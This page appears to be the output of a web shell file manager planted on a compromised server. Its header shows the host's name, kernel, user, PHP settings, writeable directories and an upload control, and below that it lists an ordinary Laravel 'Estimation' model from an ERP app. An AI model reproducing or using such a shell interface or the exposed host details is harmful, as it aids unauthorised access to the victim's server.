KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1525618.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  /var/www/erp.theinteractive.co.in/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp.theinteractive.co.in/app/Models/Estimation.php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Model;

class Estimation extends Model
{
    protected $fillable = [
        'estimation_id',
        'client_id',
        'status',
        'issue_date',
        'discount',
        'tax_id',
        'terms',
        'created_by',
    ];

    public static $statues = [
        'Open',
        'Not Paid',
        'Partialy Paid',
        'Paid',
        'Cancelled',
    ];

    public function client()
    {
        return $this->hasOne('App\Models\User', 'id', 'client_id');
    }

    public function tax()
    {
        return $this->hasOne('App\Models\Tax', 'id', 'tax_id');
    }

    public function getProducts()
    {
        return $this->belongsToMany('App\Models\ProductService', 'estimation_products', 'estimation_id', 'product_id')->withPivot('id', 'price', 'quantity', 'description');
    }

    public function getSubTotal()
    {
        $subTotal = 0;
        foreach($this->getProducts as $product)
        {
            $subTotal += $product->pivot->price * $product->pivot->quantity;
        }

        return $subTotal;
    }

    public function getTax()
    {
        if($this->getSubTotal() > 0)
        {
            $tax = (($this->getSubTotal() - $this->discount) * $this->tax->rate) / 100.00;
        }
        else
        {
            $tax = 0;
        }

        return $tax;
    }

    public function getTotal()
    {
        return $this->getSubTotal() - $this->discount + $this->getTax();
    }

    public function getDue()
    {
        $due = 0;
        foreach($this->payments as $payment)
        {
            $due += $payment->amount;
        }

        return $this->getTotal() - $due;
    }

    public static function getEstimationSummary($estimates)
    {
        $total = 0;

        foreach($estimates as $estimate)
        {
            $total += $estimate->getTotal();
        }

        return \Auth::user()->priceFormat($total);
    }
}

Anon7 - 2021